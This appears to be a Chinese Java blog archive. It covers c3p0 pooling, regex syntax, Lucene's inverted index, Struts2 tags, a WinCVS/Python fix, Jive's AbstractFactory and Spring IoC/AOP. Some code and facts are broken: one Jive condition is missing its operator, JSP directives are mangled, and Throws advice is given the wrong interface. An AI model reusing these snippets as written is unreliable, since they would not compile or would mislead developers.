2008年4月10日
#
c3p0很容易使用的开源专业级jdbc数据库缓冲池。
它是sourceforge上的一个开源项目,
项目在
http://sourceforge.net/projects/c3p0
他的众多特性这里就不一一介绍了。
比较爽的一点就是
当Connection归还缓冲池时,c3p0会很小心的关闭
这条连接打开的Statement和ResultSet,免去了使用时
自己动手小心翼翼的关闭。
c3p0使用非常简单,这里给一个例子
package common.db;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.mchange.v2.c3p0.DataSources;
public final class ConnectionManager {
private static ConnectionManager instance;
public ComboPooledDataSource ds;
private static String c3p0Properties="c3p0.properties";
private ConnectionManager() throws Exception {
Properties p = new Properties();
p.load(this.getClass().getResourceAsStream(c3p0Properties));
ds = new ComboPooledDataSource();
}
public static final ConnectionManager getInstance() {
if (instance == null) {
try {
instance = new ConnectionManager();
} catch (Exception e) {
e.printStackTrace();
}
}
return instance;
}
public synchronized final Connection getConnection() {
try {
return ds.getConnection();
} catch (SQLException e) {
e.printStackTrace();
}
return null;
}
protected void finalize() throws Throwable {
DataSources.destroy(ds); //关闭datasource
super.finalize();
}
}
然后在ConnectionManager类的目录下再创建一个配置文件c3p0.properties
内容如下:
#db login parameters
driverClass=com.mysql.jdbc.Driver
jdbcUrl=jdbc:mysql://localhost/test?useUnicode=no&characterEncoding=GBK
user=test
password=test
#pool parameters
initialPoolSize=2
maxPoolSize=5
#maxIdleTime=10
#idleConnectionTestPeriod=5
autoCommitOnClose=true
完整的配置文件参数参看c3p0的文档
使用connection时很简单
Connection conn = ConnectionManager.getInstance().getConnection();
...
最后 conn.close() 即可,
如题。研究中...以前没有注意过。
*匹配除了换行之外的所有字符
合法IP的正则表达式 ((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
\s匹配任意的空白符、(空格、制表符、换行符、中文全角空格)
\w匹配字母或数字或下划线或汉字
表1.常用的元字符代码 | 说明 |
---|
. | 匹配除换行符以外的任意字符 |
\w | 匹配字母或数字或下划线或汉字 |
\s | 匹配任意的空白符 |
\d | 匹配数字 |
\b | 匹配单词的开始或结束 |
^ | 匹配字符串的开始 |
$ | 匹配字符串的结束 |
表2.常用的限定符代码/语法 | 说明 |
---|
* | 重复零次或更多次 |
+ | 重复一次或更多次 |
? | 重复零次或一次 |
{n} | 重复n次 |
{n,} | 重复n次或更多次 |
{n,m} | 重复n到m次 |
后向引用
使用小括号指定一个子表达式后,匹配这个子表达式的文本(也就是此分组捕获的内容)可以在表达式或其它程序中作进一步的处理。默认情况下,每个分组会自动拥有一个组号,规则是:从左向右,以分组的左括号为标志,第一个出现的分组的组号为1,第二个为2,以此类推。
后向引用用于重复搜索前面某个分组匹配的文本。例如,\1代表分组1匹配的文本。难以理解?请看示例:
\b(\w+)\b\s+\1\b可以用来匹配重复的单词,像go go, 或者kitty kitty。这个表达式首先是一个单词,也就是单词开始处和结束处之间的多于一个的字母或数字(\b(\w+)\b),这个单词会被捕获到编号为1的分组中,然后是1个或几个空白符(\s+),最后是分组1中捕获的内容(也就是前面匹配的那个单词)(\1)。
你也可以自己指定子表达式的组名。要指定一个子表达式的组名,请使用这样的语法:(?<Word>\w+)(或者把尖括号换成'也行:(?'Word'\w+)),这样就把\w+的组名指定为Word了。要反向引用这个分组捕获的内容,你可以使用\k<Word>,所以上一个例子也可以写成这样:\b(?<Word>\w+)\b\s+\k<Word>\b。
使用小括号的时候,还有很多特定用途的语法。下面列出了最常用的一些:
表4.常用分组语法分类 | 代码/语法 | 说明 |
---|
捕获 | (exp) | 匹配exp,并捕获文本到自动命名的组里 |
---|
(?<name>exp) | 匹配exp,并捕获文本到名称为name的组里,也可以写成(?'name'exp) |
(?:exp) | 匹配exp,不捕获匹配的文本,也不给此分组分配组号 |
零宽断言 | (?=exp) | 匹配exp前面的位置 |
---|
(?<=exp) | 匹配exp后面的位置 |
(?!exp) | 匹配后面跟的不是exp的位置 |
(?<!exp) | 匹配前面不是exp的位置 |
注释 | (?#comment) | 这种类型的分组不对正则表达式的处理产生任何影响,用于提供注释让人阅读 |
---|
表5.懒惰限定符代码/语法 | 说明 |
---|
*? | 重复任意次,但尽可能少重复 |
+? | 重复1次或更多次,但尽可能少重复 |
?? | 重复0次或1次,但尽可能少重复 |
{n,m}? | 重复n到m次,但尽可能少重复 |
{n,}? | 重复n次以上,但尽可能少重复 |
表6.常用的处理选项名称 | 说明 |
---|
IgnoreCase(忽略大小写) | 匹配时不区分大小写。 |
Multiline(多行模式) | 更改^和$的含义,使它们分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。(在此模式下,$的精确含意是:匹配\n之前的位置以及字符串结束前的位置.) |
Singleline(单行模式) | 更改.的含义,使它与每一个字符匹配(包括换行符\n)。 |
IgnorePatternWhitespace(忽略空白) | 忽略表达式中的非转义空白并启用由#标记的注释。 |
RightToLeft(从右向左查找) | 匹配从右向左而不是从左向右进行。 |
ExplicitCapture(显式捕获) | 仅捕获已被显式命名的组。 |
ECMAScript(JavaScript兼容模式) | 使表达式的行为与它在JavaScript里的行为一致。 |
表7.尚未详细讨论的语法代码/语法 | 说明 |
---|
\a | 报警字符(打印它的效果是电脑嘀一声) |
\b | 通常是单词分界位置,但如果在字符类里使用代表退格 |
\t | 制表符,Tab |
\r | 回车 |
\v | 竖向制表符 |
\f | 换页符 |
\n | 换行符 |
\e | Escape |
\0nn | ASCII代码中八进制代码为nn的字符 |
\xnn | ASCII代码中十六进制代码为nn的字符 |
\unnnn | Unicode代码中十六进制代码为nnnn的字符 |
\cN | ASCII控制字符。比如\cC代表Ctrl+C |
\A | 字符串开头(类似^,但不受处理多行选项的影响) |
\Z | 字符串结尾或行尾(不受处理多行选项的影响) |
\z | 字符串结尾(类似$,但不受处理多行选项的影响) |
\G | 当前搜索的开头 |
\p{name} | Unicode中命名为name的字符类,例如\p{IsGreek} |
(?>exp) | 贪婪子表达式 |
(?<x>-<y>exp) | 平衡组 |
(?im-nsx:exp) | 在子表达式exp中改变处理选项 |
(?im-nsx) | 为表达式后面的部分改变处理选项 |
(?(exp)yes|no) | 把exp当作零宽正向先行断言,如果在这个位置能匹配,使用yes作为此组的表达式;否则使用no |
(?(exp)yes) | 同上,只是使用空表达式作为no |
(?(name)yes|no) | 如果命名为name的组捕获到了内容,使用yes作为表达式;否则使用no |
(?(name)yes) | 同上,只是使用空表达式作为no |
Lucene是一个高性能的java全文检索工具包,它使用的是倒排文件索引结构。该结构及相应的生成算法如下:
0)设有两篇文章1和2
文章1的内容为:Tom lives in Guangzhou,I live in Guangzhou too.
文章2的内容为:He once lived in Shanghai.
1)由于lucene是基于关键词索引和查询的,首先我们要取得这两篇文章的关键词,通常我们需要如下处理措施
a.我们现在有的是文章内容,即一个字符串,我们先要找出字符串中的所有单词,即分词。英文单词由于用空格分隔,比较好处理。中文单词间是连在一起的需要特殊的分词处理。
b.文章中的”in”, “once” “too”等词没有什么实际意义,中文中的“的”“是”等字通常也无具体含义,这些不代表概念的词可以过滤掉
c.用户通常希望查“He”时能把含“he”,“HE”的文章也找出来,所以所有单词需要统一大小写。
d.用户通常希望查“live”时能把含“lives”,“lived”的文章也找出来,所以需要把“lives”,“lived”还原成“live”
e.文章中的标点符号通常不表示某种概念,也可以过滤掉
在lucene中以上措施由Analyzer类完成
经过上面处理后
文章1的所有关键词为:[tom] [live] [guangzhou] [i] [live] [guangzhou]
文章2的所有关键词为:[he] [live] [shanghai]
2) 有了关键词后,我们就可以建立倒排索引了。上面的对应关系是:“文章号”对“文章中所有关键词”。倒排索引把这个关系倒过来,变成:“关键词”对“拥有该关键词的所有文章号”。文章1,2经过倒排后变成
关键词 文章号
guangzhou 1
he 2
i 1
live 1,2
shanghai 2
tom 1
通常仅知道关键词在哪些文章中出现还不够,我们还需要知道关键词在文章中出现次数和出现的位置,通常有两种位置:a)字符位置,即记录该词是文章中第几个字符(优点是关键词亮显时定位快);b)关键词位置,即记录该词是文章中第几个关键词(优点是节约索引空间、词组(phase)查询快),lucene中记录的就是这种位置。
加上“出现频率”和“出现位置”信息后,我们的索引结构变为:
关键词 文章号[出现频率] 出现位置
guangzhou 1[2] 3,6
he 2[1] 1
i 1[1] 4
live 1[2],2[1] 2,5,2
shanghai 2[1] 3
tom 1[1] 1
以live 这行为例我们说明一下该结构:live在文章1中出现了2次,文章2中出现了一次,它的出现位置为“2,5,2”这表示什么呢?我们需要结合文章号和出现频率来分析,文章1中出现了2次,那么“2,5”就表示live在文章1中出现的两个位置,文章2中出现了一次,剩下的“2”就表示live是文章2中第 2个关键字。
以上就是lucene索引结构中最核心的部分。我们注意到关键字是按字符顺序排列的(lucene没有使用B树结构),因此lucene可以用二元搜索算法快速定位关键词。
实现时 lucene将上面三列分别作为词典文件(Term Dictionary)、频率文件(frequencies)、位置文件 (positions)保存。其中词典文件不仅保存有每个关键词,还保留了指向频率文件和位置文件的指针,通过指针可以找到该关键字的频率信息和位置信息。
Lucene中使用了field的概念,用于表达信息所在位置(如标题中,文章中,url中),在建索引中,该field信息也记录在词典文件中,每个关键词都有一个field信息(因为每个关键字一定属于一个或多个field)。
为了减小索引文件的大小,Lucene对索引还使用了压缩技术。首先,对词典文件中的关键词进行了压缩,关键词压缩为<前缀长度,后缀>,例如:当前词为“阿拉伯语”,上一个词为“阿拉伯”,那么“阿拉伯语”压缩为<3,语>。其次大量用到的是对数字的压缩,数字只保存与上一个值的差值(这样可以减小数字的长度,进而减少保存该数字需要的字节数)。例如当前文章号是16389(不压缩要用3个字节保存),上一文章号是16382,压缩后保存7(只用一个字节)。
下面我们可以通过对该索引的查询来解释一下为什么要建立索引。
假设要查询单词 “live”,lucene先对词典二元查找、找到该词,通过指向频率文件的指针读出所有文章号,然后返回结果。词典通常非常小,因而,整个过程的时间是毫秒级的。
而用普通的顺序匹配算法,不建索引,而是对所有文章的内容进行字符串匹配,这个过程将会相当缓慢,当文章数目很大时,时间往往是无法忍受的。
一、 写jsp页面的时候,在struts2中,用的是s标记,先引入标记: <%@ taglib prefix="s" uri="/struts-tags"%> 二、 struts2的标签和1是完全不同的。 struts2的标签分为两大类:非UI标志和UI标志 struts1 将标志库按功能分成HTML、Tiles、Logic和Bean等几部分 下面就介绍strut2的具体标签: 1、UI UI标志又可以分为表单UI和非表单UI两部分。表单UI部分基本与Struts 1.x相同,都是对HTML表单元素的包装。不过,Struts 2.0加了几个我们经常在项目中用到的控件如:datepicker、doubleselect、timepicker、optiontransferselect等。因为这些标志很多都经常用到,而且参数也很多,要在一篇文章详细说明并非易事。 下面主要是ui标签的一些用法 form: <s:form action="exampleSubmit" method="post" enctype="multipart/form-data"> <s:submit /> <s:reset />
</s:form>可以上传文件的form。 textfield: <s:textfield label="姓名:" name="name" tooltip="Enter your Name here" /> datepicker: <s:datepicker tooltip="Select Your Birthday" label="生日" name="birthday" /> textarea: <s:textarea tooltip="Enter your remart" label="备注" name="remart" cols="20" rows="3"/> select: <s:select tooltip="Choose user_type" label="" list="#{'free':'免费','vip':'收费'}" value="#{'free':'免费'}" name="bean.user_type" emptyOption="true" headerKey="None" headerValue="None"/> <s:select tooltip="Choose user_type" label="" list="#{'free':'免费','vip':'收费'}" value="#{'free':'免费'}" name="bean.user_type" emptyOption="true" headerKey="None" headerValue="None"/> <s:select list="venderList" listKey="id" listValue="name" value="%{profile.companyName}" name="companyName" cssClass="sel_style_w_180"/> 挺好用的 checkboxlist: <s:checkboxlist tooltip="Choose your Friends" label="朋友" list="{'Patrick', 'Jason', 'Jay', 'Toby', 'Rene'}" name="friends"/> checkbox: <s:checkbox tooltip="Confirmed that your are Over 18" label="年龄" name="legalAge" value="18"/> file: <s:file tooltip="Upload Your Picture" label="Picture" name="picture" /> a: <s:a href="getP.jsp">超链接提交</s:a> date : <s:date name="ad_end_time" format="yyyy-MM-dd"/>
2、非UI if、elseif和else 描述: 执行基本的条件流转。 参数: 名称必需默认类型描述备注test是Boolean决定标志里内容是否显示的表达式else标志没有这个参数id否Object/String用来标识元素的id。在UI和表单中为HTML的id属性 例子: <%@ page c %> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Condition Flow</title> </head> <body> <h3>Condition Flow</h3> <!-- 这里有点小技巧: 本来可以用#parameters.name[0]来获得,请求中name的值。但是,在我实现include例子时, 无论我用param标志给name赋任何值,#parameters里面不会含有任何值,所以#parameters.name也为空值。 其原因为: 当使用include标志时,被包含的页面(included)里#parameters拿到的是包含页面里的请求参数。 因此,这里必须手工调用request.getParameter("name")。 --> <s:iterator value="linkList" status="bean"> <tr> <td class="data_tab_tdcl"> <s:property value="#bean.Index+1" /> </td> <td class="data_tab_tdcl"><s:property value="link_title" /></td> <td class="data_tab_tdcl"><s:property value="link_url" /></td> <td class="data_tab_tdcl"> <s:if test="link_type == 1"> 文字 </s:if> <s:elseif test="link_type == 2"> 图片 </s:elseif> <s:else> ----- </s:else> </td>
</body> </html> 例1 condition.jsp iterator 描述: 用于遍历集合(java.util.Collection)或枚举值(java.util.Iterator)。 参数: 名称必需默认类型描述status否String如果设置此参数,一个IteratorStatus的实例将会压入每个遍历的堆栈value否Object/String要遍历的可枚举的(iteratable)数据源,或者将放入新列表(List)的对象id否Object/String用来标识元素的id。在UI和表单中为HTML的id属性 例子: <%@ page c %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <% List list = new ArrayList(); list.add("Max"); list.add("Scott"); list.add("Jeffry"); list.add("Joe"); list.add("Kelvin"); request.setAttribute("names", list); %> <html> <head> <title>Iterator</title> </head> <body> <h3>Names: </h3> <!-- 1、此处的空property元素用于获得当前iterator的值 2、status被设成stuts,在iterator的里面就可以通过#stuts取得IteratorStatus的对象。IteratorStatus类包含当前序号信息,如是否第一个或最后一个,是否为奇数序号。这些信息在我们做格式化的时候,显得非常有用。 --> <ol> <s:iterator value="#request.names" status="stuts"> <s:if test="#stuts.odd == true"> <li>White <s:property /></li> </s:if> <s:else> <li style="background-color:gray"><s:property /></li> </s:else> </s:iterator> </ol> </body> </html>
|
摘要: EJB
方面
94
、
EJB2.0
...
阅读全文
在我装完Wincvs之后,提示我没有安装python,但后来我又装了python2.4,可Wincvs还是说配置不对.到底要怎么配置python呢?期待着您的回复,谢谢你了!
TCL or Python are not available, shell is disabled。 |
有的网友说是版本的问题,我今天安装时也是一样,装了好三四个版本,都一样,最后在CSDN上找到了答案。
解决办法:
在admin-〉Preferences->wincvs中有关于python的设置,
其中python是指你的python虚拟机的位置,一般是python2X.dll的位置。在你来说就是python24.dll的位置,一般这个文件会在你的系统文件中找到。
Tcl则一般会在python文件架的dlls子文件架中找到,一般名称为tclxx.dll,在你大概就是tcl84.dll。如果是安装python2.3版本的话,会自动找到,不需要设置。
设置好了,WinCVS输出窗口:
Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)] on win32Tk is available, Tk-macros are enabledTCL is available, shell is enabled : help (select and press enter) |
AbstractFactory模式和可扩展性
假如要实现较好的可扩展性,AbstractFactory模式确实是一件利器。如上面所说,假如要创建的Forum接口的不同实现,而又不想更改代码的话,就需要用到抽象工厂了。再Jive中,AuthorizationFactory类是一个抽象类,用来创建Authorization对象。这是一个抽象工厂,可以通过不同的子类来创建不同的Authorization对象。这个工厂的实现方法是:
在AuthorizationFactory中使用一个private static变量factory,用来引用具体的抽象工厂的实例:
private static AuthorizationFactory factory = null;
用一个private static的String,来指明具体的抽象工厂的子类类名:
private static String className ="com.coolservlets.forum.database.DbAuthorizationFactory";
然后是用一个private static的loadAuthorizationFactory方法来给这个factory变量赋值,生成具体的抽象工厂类:
private static void loadAuthorizationFactory() {
if (factory == null) {
synchronized(className) {
if (factory == null) {
String classNameProp = PropertyManager.getProperty(
"AuthorizationFactory.className"
);
if (classNameProp != null) {
className = classNameProp;
}
try {
Class c = Class.forName(className);
factory = (AuthorizationFactory)c.newInstance();
}
catch (Exception e) {
System.err.println("Exception loading class: " + e);
e.printStackTrace();
}
}
}
}
}
在static的getAuthorization方法返回一个Authorization的过程中,先初始化工厂类factory变量,然后用factory的createAuthorization方法来创建:
public static Authorization getAuthorization(String username,
String passWord) throws UnauthorizedException
{
loadAuthorizationFactory();
return factory.createAuthorization(username, password);
}
不同的子类有不同的createAuthorization方法的实现。比如在DbAuthorizationFactory这个AuthorizationFactory的数据库实现子类中,createAuthorization方法是这样实现的:
public Authorization createAuthorization(String username, String password)
throws UnauthorizedException
{
if (username == null password == null) {
throw new UnauthorizedException();
}
password = StringUtils.hash(password);
int userID = 0;
Connection con = null;
PreparedStatement pstmt = null;
try {
con = DbConnectionManager.getConnection();
pstmt = con.prepareStatement(AUTHORIZE);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
if (!rs.next()) {
throw new UnauthorizedException();
}
userID = rs.getInt(1);
}
catch( SQLException sqle ) {
System.err.println("Exception in DbAuthorizationFactory:" + sqle);
sqle.printStackTrace();
throw new UnauthorizedException();
}
finally {
try { pstmt.close(); }
catch (Exception e) { e.printStackTrace(); }
try { con.close(); }
catch (Exception e) { e.printStackTrace(); }
}
return new DbAuthorization(userID);
}
在这个类中,可以看到抽象类和具体的子类之间的关系,它们是如何协作的,又是如何划分抽象方法和非抽象方法的,这都是值得注重的地方。一般的,抽象方法需要子类来实现,而抽象类中的非抽象方法应该所有子类所能够共享的,或者可是说,是定义在抽象方法之上的较高层的方法。这确实是一个抽象工厂的好例子!虽然实现的方法已经和GOF中给出的实现相差较远了,但思想没变,这儿的实现,也确实是要巧妙的些。
还有就是静态方法的使用,使得这个类看起来有些Singleton的意味。这使得对于AbstractFactory的创建变得简单。
在AuthorizationFactory中定义的其它方法,涉及到具体的如何创建Authorization,都是作为abstract方法出现,具体实现留给子类来完成。
这样,在需要生成一个Authorization的时候,只需要调用AuthorizationFactory的静态方法getAuthorization就可以了,由子类实现了具体的细节。
其它的,如同上面讲到的,在创建Forum的时候用的ForumFactory,具有同上面一样的实现,这就是模式之所以称为模式的所在了。
资料引用:http://www.knowsky.com/365144.html
题目: IOC 后台机制学习
给定:
配置文件 config.txt, 文件内容
className = test.JavaBean1
field = username
value = ABC
该文件中的三个值会随时可能变化, 唯一不变的是 className 指定的都是一个 JavaBean(为了简化, 我们假定里面已经有一个 username 属性, 例如:
class JavaBeanxxxx {
private String username;
public String getUsername() {
return username;
}
public void setUsername(String uname) {
this.username = uname;
}
}
要求: 写一段代码, 读取配置文件 config.txt, 然后实现把 className 指定的 JavaBean 类加载(注意这个类名是可以修改的, 可配置的), 然后生成一个实例,
并把配置文件中field字段指定的值作为这个实例的属性名(这里是username)所对应的值设置为 ABC(字符串), 并且要读出最后设置的值.
此题已经被 TigerTian 解答出来, 欢迎学习, 也感谢 TigerTian:
package com.gcoresoft.ioc;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.beans.*;
public class IOCStudy {
//Load the properties file
private Properties prop=new Properties();
public void loadPropFile(String filename)
{
try
{
FileInputStream fin=new FileInputStream(filename);
prop.load(fin);
fin.close();
}catch(Exception e){
System.out.println(e.toString());
}
}
private String getValueByName(String Name)
{
return prop.getProperty(Name);
}
public static void main(String[] args)
{
IOCStudy ioc=new IOCStudy();
ioc.loadPropFile("E:\\Work\\GetInIOC\\src\\com\\gcoresoft\\ioc\\Config.txt");
try
{
Class bean=Class.forName(ioc.getValueByName("className"));
try {
java.beans.BeanInfo info=java.beans.Introspector.getBeanInfo(bean);
java.beans.PropertyDescriptor pd[]=info.getPropertyDescriptors();
try {
Method mSet=null,mRead=null;
Object obj=bean.newInstance();
for(int i=0;i<pd.length;i++)
if(pd[i].getName().equalsIgnoreCase(ioc.getValueByName("field")))
{
mSet=pd[i].getWriteMethod();
mRead=pd[i].getReadMethod();
}
try {
mSet.invoke(obj, ioc.getValueByName("value"));
String str=(String)mRead.invoke(obj, null);
System.out.println(str);
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (InstantiationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (IntrospectionException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}catch(ClassNotFoundException e){
System.out.println(e.toString());
}
}
}
引言
在J2EE的整个发展历程中,现在正是一个非常时刻。从很多方面来说,J2EE都是一个伟大的成功:它成功地在从前没有标准的地方建立了标准;大大提升了企业级软件的开放程度,并且得到了整个行业和开发者的广泛认可。然而,J2EE在一些方面已经开始捉襟见肘。J2EE应用开发的成本通常很高。J2EE应用项目至少和从前的非J2EE项目一样容易失败——如果不是更容易失败的话。这样的失败率高得让人难以接受。在这样的失败率之下,软件开发几乎变成了碰运气。而在J2EE遭遇失败的场景中,EJB通常都扮演着重要的角色。因此,J2EE社群不断地向着更简单的解决方案、更少使用EJB的方向发展
[1]。然而,每个应用程序都需要一些基础设施,拒绝使用EJB并不意味着拒绝EJB所采用的基础设施解决方案。那么,如何利用现有的框架来提供这些基础设施服务呢,伴随着这个问题的提出,一个轻量级的J2EE解决方案出现了,这就是Spring Framework。
Spring是为简化企业级系统开发而诞生的,Spring框架为J2EE应用常见的问题提供了简单、有效的解决方案,使用Spring,你可以用简单的POJO(Plain Old Java Object)来实现那些以前只有EJB才能实现的功能。这样不只是能简化服务器端开发,任何Java系统开发都能从Spring的简单、可测试和松耦合特征中受益。可以简单的说,Spring是一个轻量级的反向控制(IoC)和面向切面编程(AOP)容器框架
[3]。Spring IoC,借助于依赖注入设计模式,使得开发者不用理会对象自身的生命周期及其关系,而且能够改善开发者对J2EE模式的使用;Spring AOP,借助于Spring实现的拦截器,开发者能够实现以声明的方式使用企业级服务,比如安全性服务、事务服务等。Spring IoC和 Spring ; AOP组合,一起形成了Spring,这样一个有机整体,使得构建轻量级的J2EE架构成为可能,而且事实证明,非常有效。
没有Spring IoC的Spring AOP是不完善的,没有Spring AOP的Spring IoC是不健壮的。本文是以Spring架构的成功的实际商务系统项目为背景,阐述了反向控制原理和面向切面的编程技术在Spring框架中的应用,同时抽取适量代码示意具体应用,并和传统开发模式进行对比,展示了Spring framework的简单,高效,可维护等优点。
1、Spring IoC 1.1 反向控制原理 反向控制是Spring框架的核心。但是,反向控制是什么意思?到底控制的什么方面被反向了呢?2004年美国专家Martin Fowler发表了一篇论文《Inversion of Control Containers and the Dependency Injection pattern》阐述了这个问题,他总结说是获得依赖对象的方式反向了,根据这个启示,他还为反向控制提出了一个更贴切的名字:Dependency Injection(DI 依赖注入)。
通常,应用代码需要告知容器或框架,让它们找到自身所需要的类,然后再由应用代码创建待使用的对象实例。因此,应用代码在使用实例之前,需要创建对象实例。然而,IoC模式中,创建对象实例的任务交给IoC容器或框架(实现了IoC设计模式的框架也被称为IoC容器),使得应用代码只需要直接使用实例,这就是IoC。相对IoC 而言,“依赖注入”的确更加准确的描述了这种设计理念。所谓依赖注入,即组件之间的依赖关系由容器在运行期决定,形象的来说,即由容器动态的将某种依赖关系注入到组件之中。
1.2 IoC在Spring中的实现
任何重要的系统都需要至少两个相互合作的类来完成业务逻辑。通常,每个对象都要自己负责得到它的合作(依赖)对象。你会发现,这样会导致代码耦合度高而且难于测试。使用IoC,对象的依赖都是在对象创建时由负责协调系统中各个对象的外部实体提供的,这样使软件组件松散连接成为可能。下面示意了Spring IoC 应用,步骤如下:
(1)定义Action接口,并为其定义一个execute方法,以完成目标逻辑。多年前,GoF在《Design Pattern:Elements of Reusable Object-Oriented Software》一书中提出“Programming to an Interface,not an implementation”的原则,这里首先将业务对象抽象成接口,正是为了实施这个原则。
(2)类UpperAction实现Action接口,在此类中,定义一个String型的域message,并提供相应的setter和getter方法,实现的execute方法如下:
public String execute (String str) { return (getMessage () + str).toUpperCase () ; } |
(3)编写Spring配置文件(bean.xml)
<beans> <bean id="TheAction" class="net.chen.spring.qs.UpperAction"> <property name="message"> <value>HeLLo</value> </property> </bean> </beans> |
(4)测试代码
public void testQuickStart () { ApplicationContext ctx=new FileSystemXmlApplicationContext ("bean.xml"); Action a= (Action) ctx.getBean ("TheAction"); System.out.println (a. execute ("Rod Johnson")); } |
上面的测试代码中,我们根据"bean.xml"创建了一个ApplicationContext实例,并从此实例中获取我们所需的Action实现,运行测试代码,我们看到控制台输出:
仔细观察一下上面的代码,可以看到:
(1)我们的组件并不需要实现框架指定的接口,因此可以轻松的将组件从Spring中脱离,甚至不需要任何修改,这在基于EJB框架实现的应用中是难以想象的。
(2)组件间的依赖关系减少,极大改善了代码的可重用性。Spring的依赖注入机制,可以在运行期为组件配置所需资源,而无需在编写组件代码时就加以指定,从而在相当程度上降低了组件之间的耦合。
Spring给我们带来了如此这般的好处,那么,反过来,让我们试想一下,如果不使用Spring框架,回到我们传统的编码模式,情况会是怎样呢?
首先,我们必须编写一个配置文件读取类,以实现Message属性的可配置化。
其次,得有一个Factory模式的实现,并结合配置文件的读写完成Action的动态加载。于是,我们实现了一个ActionFactory来实现这个功能:
public class ActionFactory { public static Action getAction (String actionName) {Properties pro = new Properties (); try { pro.load (new FileInputStream ("config.properties")); String actionImplName =(String)pro.get(actionName); String actionMessage =(String) pro.get (actionName+"_msg"); Object obj =Class.forName (actionImplName).newInstance (); BeanUtils.setProperty(obj,"message",actionMessage); return (Action) obj; } catch (FileNotFoundException e) { …… } } |
配置文件则采用properties文件形式如下所示:
TheAction=net.chen.spring.qs.UpperAction TheAction_msg=HeLLo |
测试代码也作相应修改。现在不论实现的好坏,总之通过上面新增的多行代码,终于实现了类似的功能。如果现在有了一个新的需求,这样这个ActionFactory每次都新建一个类的实例,显然这对系统性能不利,考虑到我们的两个Action都是线程安全的,修改一下ActionFactory,保持系统中只有一个Action实例供其它线程调用。另外Action对象创建后,需要做一些初始化工作。修改一下ActionFactory,使其在创建Action实例之后,随即就调用Action.init方法执行初始化。Action的处理这样就差不多了。下面我们来看看另外一个Factory
……
往往这些系统开发中最常见的需求,会导致我们的代码迅速膨胀,而Spring IoC的出现,则大大缓解了这样的窘境。通过以上实例,可以看出,Spring IoC为我们提供了如下几方面的优势:
(1)应用组件不需要在运行时寻找其协作者,因此更易于开发和编写应用;
(2)由于借助于IoC容器管理组件的依赖关系,使得应用的单元测试和集成测试更利于展开;
(3)通常,在借助于IoC容器关系业务对象的前提下,很少需要使用具体IoC容器提供的API,这使得集成现有的遗留应用成为可能。
因此,通过使用IoC能够降低组件之间的耦合度,最终,能够提高类的重用性,利于测试,而且更利于整个产品或系统集成和配置。
2、Spring AOP
2.1 面向切面编程基础
通常,系统由很多组件组成,每个组件负责一部分功能,然而,这些组件也经常带有一些除了核心功能之外的附带功能 。系统服务如日志、事务管理和安全经常融入到一些其他功能模块中。这些系统服务通常叫做交叉业务,这是因为它们总是分布在系统的很多组件中。通过将这些业务分布在多个组件中,给我们的代码引入了双重复杂性。
(1) 实现系统级业务的代码在多个组件中复制。这意味着如果你要改变这些业务逻辑,你就必须到各个模块去修改。就算把这些业务抽象成一个独立模块,其它模块只是调用它的一个方法,但是这个方法调用也还是分布在很多地方。
(2) 组件会因为那些与自己核心业务无关的代码变得杂乱。一个向地址录中添加条目的方法应该只关心如何添加地址,而不是关心它是不是安全或支持事务的。
此时,我们该怎么办呢?这正是AOP用得着的地方。AOP帮助我们将这些服务模块化,并把它们声明式地应用在需要它们的地方,使得这些组件更加专注于自身业务,完全不知道其它涉及到的系统服务。
这里的概念切面,就是我们要实现的交叉功能,是应用系统模块化的一个方面或领域。切面的最常见例子就是日志记录。日志记录在系统中到处需要用到,利用继承来重用日志模块是不合适的,这样,就可以创建一个日志记录切面,并且使用AOP在系统中应用。下图展示了切面应用方式
图表 1 应用切面
其中,通知Advice是切面的实际实现。连接点Joinpoint是应用程序执行过程中插入切面的地点,这个地点可以是方法调用,异常抛出,甚至可以是要修改的字段,切面代码在这些地方插入到你的应用流程中,添加新的行为。切入点Pointcut定义了Advice应该应用在那些连接点,通常通过指定类名和方法名,或者匹配类名和方法名式样的正则表达式来指定切入点。
2.2 AOP在Spring中的实现
基于AOP,业界存在各种各样的AOP实现,比如,JBoss AOP、Spring AOP、AspectJ、Aspect Werkz等。各自实现的功能也不一样。AOP实现的强弱在很大程度上取决于连接点模型。目前,Spring只支持方法级的连接点。这和一些其他AOP框架不一样,如AspectJ和JBoss,它们还提供了属性接入点,这样可以防止你创建特别细致的通知,如对更新对象属性值进行拦截。然而,由于Spring关注于提供一个实现J2EE服务的框架,所以方法拦截可以满足大部分要求,而且Spring的观点是属性拦截破坏了封装,让Advice触发在属性值改变而不是方法调用上无疑是破坏了这个概念。
Spring的AOP框架的关键点如下:
(1)Spring实现了AOP联盟接口。在Spring AOP中,存在如下几种通知(Advice)类型
Before通知:在目标方法被调用前调用,涉及接口org.springframework.aop.MethodBeforeAdvice;
After通知:在目标方法被调用后调用,涉及接口为org.springframework.aop.AfterReturningAdvice;
Throws通知:目标方法抛出异常时调用,涉及接口org.springframework.aop.MethodBeforeAdvice;
Around通知:拦截对目标对象方法调用,涉及接口为org.aopalliance.intercept.MethodInterceptor。
(2)用java编写Spring通知,并在Spring的配置文件中,定义在什么地方应用通知的切入点。
